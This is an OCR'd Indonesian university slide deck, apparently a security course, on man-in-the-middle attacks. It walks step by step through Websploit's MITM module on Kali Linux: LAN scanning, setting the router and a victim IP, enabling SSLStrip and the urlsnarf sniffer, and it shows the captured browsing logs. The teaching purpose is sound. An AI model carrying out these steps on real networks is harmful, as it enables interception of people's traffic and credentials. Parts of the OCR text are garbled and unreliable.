Man In The Middle Attack

Keamanan Sistem Informasi

Disusun Oleh : Irawan A + Angga S
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Intersepsi atau penyadapan menurut UU ITE adalah kegiatan untuk

mendengarkan,merekam, membelokkan, mengubah, menghambat, dan/atau
mencatat transmisi Informasi Elektronik dan/atau Dokumen Elektronik
yang tidak bersifat publik, baik menggunakan jaringan kabel komunikasi
maupun jaringan nirkabel, seperti pancaran elektromagnetis atau radio

frekuensi.

Setiap orang yang memenuhi unsur sebagaimana dimaksud dalam Pasal 21 ayat (1) atau

ayat (2} UU ITE di atas dipidana dengan pidana penjara paling lama 10 (sepuluh) tahun

dan/atau denda paling banyak Rp800 juta.[i]'




| Definisi

Man In The Middle Attack adalah salah satu teknik dalam
keamanan jaringan dimana penyusup menempatkan dirinya
berada di tengah-tengah dua perangkat atau lebih yang saling

berkomunikasi

QOutput

Hasil dari teknik Man In The Middle Attack ini adalah

penyadapan informasi.
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= Kali Linux

Kali Linux adalah distribusi berlandasan Debian GNU/Linux
untuk tujuan forensik digital dan digunakan untuk pengujian

penetrasi, yang dipelihara dan didanai oleh Offensive Security

Kali linux dikembangkan oleh pengembang Backtrack
sebelumnya yaitu Mati Aharoni bersama pengembang baru

bernama Devon Kearns dari Offensive Security




Kali Linux

Beberapa Tools yang dapat di klasifikasikan berdasarkan

fungsi utama pada sistem operasi Kali Linux :

1. Information Gathering digunakan untuk mengumpulkan

Informasi dari suatu sistem

Reverse Enginerring digunakan untuk menganalisa suatu
sistem melalul identifikasi komponen-komponennya dan
keterkaitan antar komponen tersebut lalu membuat abstraksi

dan informasi perancangan dari sistem yang dianalisa




| Kali Linux

. Exploitation Tools digunakan untuk mengekspoitasi celah

yang terdapat pada suatu sistem.

. Vulnerability Assessement digunakan untuk melakukan
pencarian, Iidentifikasi, perhitungan terhadap celah

keamanan suatu sistem

. Privilege Escalation digunakan untuk melakukan serangan
yang bertujuan untuk menaikkan tingkat akses didalam suatu

sistem.




Kali Linux

Applications v Places v Sat 11:03

Favorites J Firefox ESR

01 - Information Gathering

Terminal
02 - Vulnerability Analysis

03 - Web Application Analysis P Files
04 - Database Assessment :
metasploit ...
05 - Password Attacks
06 - Wireless Attacks SHmitage
07 - Reverse Engineering burpsuite
08 - Exploitation Tools
beef xss fr...
09 - Sniffing & Spoofing
10 - Post Exploitation faraday IDE
11 - Forensics Leafpad

12 - Reporting Tools

Tweak Tool
13 - Social Engineering Tools
14 - System Services

Usual applications

Activities Overview
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Gambar Sistem Operasi Kali Linux




:_# websploit
WARNING: No route found for IPv6 destination :: (no default route?)

Websploit adalah software yang mempunyai fungsi untuk
menganalisa suatu sistem untuk menemukan berbagai jenis

kerentanan. Salah satu modul di dalam websploit adalah
modul MITM.
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Studi Kasus

1. Pencarian IP Address yang sedang aktif menggunakan

aplikasi angry ip scanner.

IP Range - Angry IP Scanner

Scan Goto Commands Favorites Tools Help

IP Range: | 192.168.1.0 to 192.168.1.255 IPRange Vv | 2%
Hostname: |- # IP | | Netmask = Start s

IP Hostname Ports [0+]
@ 192.168.1.1 192.168.1.1 [n/s]
@ 192.168.1.2 [n/s] [n/s]
@ 192.168.1.3 [n/s] [nss]
@ 192.168.1.4 [n/s] [n/s]
@ 192.168.1.5 [n/s] [n/s]
@ 192.168.1.6 [n/s] [n/s]
@ 192.168.1.7 [n/s] [n/s]
@ 192.168.1.8 [n/s] [n/s]
@ 192.168.1.9 victim-pe [n/s]
@ 192.168.1.10 [n/s] [n/s]
@ 192.168.1.11 kalitux [n/s]
@ 192.168.1.12 [n/s] [n/s]

@ 192.168.1.13 [n/s] [n/s]
Ready Display: All Threads: O




5 Studi Kasus

2. Pencarian informasi untuk alamat IP Gateway

:~# route -n
ernel IP routing table
Jestination Gateway Genmask
0.0.0.0 192.168.1.1 0.0.0.0
192.168.1.0 0.0.0.0 255%25b::255:.0




Studi Kasus

3. Perintah untuk masuk ke dalam websploit

root@KaliTux: ~

File Edit View Search Terminal Help

:~# websploit
WARNING: No route found for IPv6 destination :: (no default route?)

--=[WebSploit Advanced MITM Framework
-==[Version :

‘- --==[Codename :

‘---==[Available Modules : 20
--=[Update Date : [




Studi Kasus

Perintah use network/mitm digunakan untuk menggunakan

module network/mitm pada websploit.

root@KaliTux: ~

File Edit View Search Terminal Help

:~# websploit
WARNING: No route found for IPv6 destination :: (no default route?)

S
XONIE N
e
AT

--=[WebSploit Advanced MITM Framework
‘---==[Version :
‘- --==[Codename :
‘---==[Available Modules : 2C

--=[Update Date : [

wst > use network/mitm




Studi Kasus

Perintah use network/mitm digunakan untuk menggunakan

module network/mitm pada websploit.

root@KaliTux: ~

File Edit View Search Terminal Help

:~# websploit
WARNING: No route found for IPv6 destination :: (no default route?)

S
XONIE N
e
AT

--=[WebSploit Advanced MITM Framework
‘---==[Version :
‘- --==[Codename :
‘---==[Available Modules : 2C

--=[Update Date : [

wst > use network/mitm




Studi Kasus

6. Perintah show options digunakan untuk melihat opsi yang
ada pada modul MITM.

root@KaliTux: ~
File Edit View Search Terminal Help

wsf > use network/mitm
f:MITM > show options

o)
o

Description

Network Interface Name
Router IP Address

Target IP Address
Sniffer Name (Select Fro

®

Interface

ROUTER 192.168.1.1
TARGET 192.168.1.2
SNIFFER driftnet

m Sniffer List)

SSL true
ing(true or false)

Sl N T N U
©

© @
n nwnmn
1

SSLStrip, For SSL Hijack

=
©
)]

Sniffers Description

Sniff ALl Passwords

Sniff ALl Text Of Victim Messengers
urlsnarf Sniff Victim Links
driftnet Sniff Victim Images

FMITM >




Studi Kasus

/. Perintah set interface wlanO digunakan untuk menggunakan

komponen wireless

File Edit View Search Terminal Help

vef > use network/mitm
f:MITM > show options

Description

Network Interface Name
192.168.1.1 Router IP Address
192.168.1.2 Target IP Address
driftnet Sniffer Name (Select Fro

m Sniffer List)
SSL true SSLStrip, For SSL Hijack
ing(true or false)

Sniffers Description

Sniff ALl Passwords
Sniff ALl Text Of Victim Messengers
Sniff Victim Links
Sniff Victim Images

sT:MITM > set Interface wlan®
INTERFACE => wlan0

cMTTM
1L
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8. Perintah set ROUTER 192.168.1.1 digunakan untuk menset

alamat IP router/gateway yang digunakan didalam jaringan.

root@KaliTux: ~ (- O %]
File Edit View Search Terminal Help

Description

Network Interface Name
192.168.1.1 Router IP Address
192.168.1.2 = Target IP Address
driftnet [ Sniffer Name (Select Fro

m Sniffer List)
SSL true SSLStrip, For SSL Hijack
ing(true or false)

Description

Sniff All Passwords
Sniff ALl Text Of Victim Me
Sniff Victim Links
Sniff Victim Images

f:MITM > set Interface wlan®
INTERFACE => wlan@
sf:MITM > set ROUTER 192.168.1.1
ROUTER => 192.168.1.1

wsf:MITM > |}
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8. Perintah set target 192.168.1.9 digunakan untuk menset
alamat IP target. Alamat IP yang akan dimonitoring aktifitas

pengguna dalam mengakses internet adalah IP 192.168.1.9.

root@KaliTux: ~
File Edit View Search Terminal Help

Interface Network Interface Name
ROUTER 192.168.1.1 : Router IP Address

TARGET 192.168.1.2 / Target IP Address
SNIFFER driftnet Sniffer Name (Select Fro
m Sniffer List)

SSL true ye SSLStrip, For SSL Hijack
ing(true or false)

Sniffers Description

dsniff Sniff All Passwords
msgsnarf Sniff ALl Text Of Victim Messengers
urlsnarf Sniff Victim Links
driftnet Sniff Victim Images

[TM > set Interface wlan@
CE => wlan@
:MITM > set ROUTER 192.168.1.1
=> 192.168.1.1
M > set TARGET 192.168.1.9
=> 192.168.1.9

> i
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9. Perintah set SNIFFER urlsnarf digunakan untuk memindal

alamat url yang dikunjungi oleh target

root@KaliTux: ~
File Edit View Search Terminal Help

192.168.1.1 Router IP Address

192.168.1.2 Target IP Address

driftnet Sniffer Name (Select Fro
m Sniffer List)

SSL true SSLStrip, For SSL Hijack
ing(true or false)

Description

Sniff All Passwords

Sniff ALl Text Of Victim Messengers
Sniff Victim Links

Sniff Victim Images

wsf:MITM > set interface wlan@
INTERFACE => wlan0
sT:MITM > set ROUTER 192.168.1.1

ROUTER => 192.168.1.1
f:MITM > set TARGET 192.168.1.9

TARGET => 192.168.1.9
wsT:MITM > set SNIFFER urlsnarf
SNIFFER => urlsnarf

sT:MITM > |}
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10.Perintah RUN digunakan untuk menjalankan konfigurasi-

konfigurasi perintah yang telah diset sebelumnya.

root@KaliTux: ~ (- 0 )
File Edit View Search Terminal Help
ing(true or false)

Description

Sniff All Passwords
Sniff ALl Text Of Victim Messengers
Sniff Victim Links
Sniff Victim Images

wsf:MITM > set interface wlan0®
INTERFACE => wlan0
wsf:MITM > set ROUTER 192.168.1.1
192.168.1.1
set TARGET 192.168.1.9
192.168.1.9
set SNIFFER urlsnarf
urlsnarf
run

Urisnérf: listening on wlan@ [tcp port 80 or port 8080 or port 3128]
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OQUTPUT

root@KaliTux: ~

File Edit View Search Terminal Help

listeninn nn wlanf rf"f‘) nort 80 nr nort RARA nr nort NV 2]

sictim-pc - - [B9/Jul/2017:08:15:32 -6460] "GET http://www.unikom.ac.id/ HTTP/1.
/5.0 (Windows NT 6.1; Win64; x64; rv:43.0) Gecko/20160161 Fir

> LG /2081532 -U4UU) GET ATTP I/ /WwWW.UNLIKOmM.ac .14/ HIIF
/1.0" - - "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:43.0) Gecko/2010661061
irefox/43.0'
victim-pc - - [09/Jul/2017:08:15:33 -6400] "GET http://www.unikom.ac .id/front/cs
s/theme.min.css HTTP/1.1" "nttp://www.unikom.ac .id/" "Mozilla/5.0 (Windows N
6.1; Win64; .0) Gecko/20166101 Firefox/43.0'
917:08:15:33 -B406] "GET http://www.unikom.ac .id/front/cs
A" - - "http://www.unikom.ac .id/" "Mozilla/5.0 (Windows NT

-~

victim-pc [B9,
s/content .css HTTP
A

6.1; Win64; x64; rv:43.0) Gecko/20168161 Firefox/43.0'
victim-pc - - [09/Jul/2017:08:15:33 -646C] "GET http://www.unikom.ac .id/front/cs

(

s/style.cs T/1.1" - - "http://www.unikom.ac.id/" "Mozilla/5.0 (Windows NT 6.
: Win64: x64; rv:43.0) Gecko/2010061681 Firefox/43.0"

ictim-pc - - [09/Jul/2017:08:15:33 -0400] "GET http://www.unikom.ac.id/front/cs
s/ responsive.css HTTP/1.1" - - "http://www.unikom.ac .id/" "Mozilla/5.0 (Windows
NT 6.1: Winb4: x64: rv:43.0) Gecko/26100101 Firefox/43.0

yictim-pc [B9/Jul/2017:08:15:33 -0400] "GET http://www.unikom.ac .id/front/js
fscript.js HTTP/1.1" - "http://www.unikom.ac.id/" "Mozilla/5.0 (Windows NT 6.1
; Wint4,; x64; 3.0) Gecko/20100161 Firefox/43.0"

victim-pc - - [B9/Jul/2017:08:15:33 -B460C] "GET http://www.unikom.ac.id/front/js
‘'scroll.js HTTP/1.1" - - "http://www.unikom.ac.id/" "Mozilla/5.0 (Windows NT 6.1

W
| &
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